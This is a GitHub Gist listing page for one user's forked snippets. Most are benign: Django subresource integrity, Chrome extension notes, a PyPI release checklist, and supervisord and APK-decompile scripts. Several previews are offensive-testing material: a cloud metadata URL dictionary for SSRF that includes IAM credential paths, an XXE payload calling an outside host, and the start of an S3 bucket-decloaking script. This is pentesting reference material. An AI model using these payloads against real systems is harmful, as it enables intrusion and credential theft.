Skip to content

Instantly share code, notes, and snippets.

@viyatb
viyatb / storage.py
Created July 27, 2018 22:12 — forked from samwillis/storage.py
Django Subresource Integrity
import base64
import hashlib
import json
import os
import posixpath
import re
from collections import OrderedDict
from urllib.parse import unquote, urldefrag, urlsplit, urlunsplit
from django.conf import settings
@viyatb
viyatb / bucket-disclose.sh
Created July 7, 2018 15:45 — forked from fransr/bucket-disclose.sh
Using error messages to decloak an S3 bucket. Uses soap, unicode, post, multipart, streaming and index listing as ways of figure it out. You do need a valid aws-key (never the secret) to properly get the error messages
#!/bin/bash
# Written by Frans Rosén (twitter.com/fransrosen)
_debug="$2" #turn on debug
_timeout="20"
#you need a valid key, since the errors happens after it validates that the key exist. we do not need the secret key, only access key
_aws_key="AKIA..."
H_ACCEPT="accept-language: en-US,en;q=0.9,sv;q=0.8,zh-TW;q=0.7,zh;q=0.6,fi;q=0.5,it;q=0.4,de;q=0.3"
H_AGENT="user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36"
@viyatb
viyatb / cloud_metadata.txt
Created April 25, 2018 05:32 — forked from jhaddix/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
## AWS
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
@viyatb
viyatb / chrome.md
Created February 13, 2018 01:52 — forked from 0xjjpa/chrome.md
Understanding Google Chrome Extensions

Introduction

Developing Chrome Extensions is REALLY fun if you are a Front End engineer. If you, however, struggle with visualizing the architecture of an application, then developing a Chrome Extension is going to bite your butt multiple times due the amount of excessive components the extension works with. Here are some pointers in how to start, what problems I encounter and how to avoid them.

Note: I'm not covering chrome package apps, which although similar, work in a different way. I also won't cover the page options api neither the new brand event pages. What I explain covers most basic chrome applications and should be enough to get you started.

Table of Contents

  1. Understand the Chrome Architecture
  2. Understand the Tabs-Extension Relationship
@viyatb
viyatb / pypi-release-checklist.md
Created October 27, 2017 04:00 — forked from audreyfeldroy/pypi-release-checklist.md
My PyPI Release Checklist
  • Update HISTORY.rst
  • Commit the changes:
git add HISTORY.rst
git commit -m "Changelog for upcoming release 0.1.1."
  • Update version number (can also be minor or major)
bumpversion patch
@viyatb
viyatb / Makefile
Created September 21, 2017 03:17 — forked from strazzere/Makefile
Decryption for most Kony
all:
gcc decrypt.c -I/usr/local/opt/boringssl/include -L/usr/local/opt/boringssl/lib -lcrypto -o kony_decrypt
@viyatb
viyatb / XXE_payloads
Created September 7, 2017 00:19 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@viyatb
viyatb / android-decompile.sh
Created September 5, 2017 23:45 — forked from nstarke/android-decompile.sh
Android APK Decompile Script
#!/bin/bash
APK=$1
# Linux only right now.
if [ ! -d "$HOME/.android-decompile-tools" ]; then
mkdir "$HOME/.android-decompile-tools"
fi
@viyatb
viyatb / supervisord-example.conf
Created August 30, 2017 17:37 — forked from Sapphire64/supervisord-example.conf
Running virtualenv tornado in supervisord, running virtualenv celery in supervisord
[unix_http_server]
file=/tmp/supervisor.sock ; path to your socket file
[supervisord]
logfile=/var/log/supervisord/supervisord.log ; supervisord log file
logfile_maxbytes=50MB ; maximum size of logfile before rotation
logfile_backups=10 ; number of backed up logfiles
loglevel=error ; info, debug, warn, trace
pidfile=/var/run/supervisord.pid ; pidfile location
nodaemon=false ; run supervisord as a daemon